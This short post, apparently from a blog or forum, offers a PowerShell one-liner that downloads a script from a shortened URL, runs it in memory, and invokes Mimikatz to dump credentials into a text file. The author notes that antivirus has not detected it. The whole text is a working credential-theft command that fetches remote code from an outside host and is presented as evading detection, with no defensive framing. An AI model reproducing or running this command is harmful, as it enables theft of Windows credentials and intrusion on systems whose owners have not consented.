This command runs mimikats using PowerShell. It runs fully in memory and doesn’t touch disk except if you choose to dump the output to a text file. So far I haven’t seen AV detect it.

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" > mimikatz.txt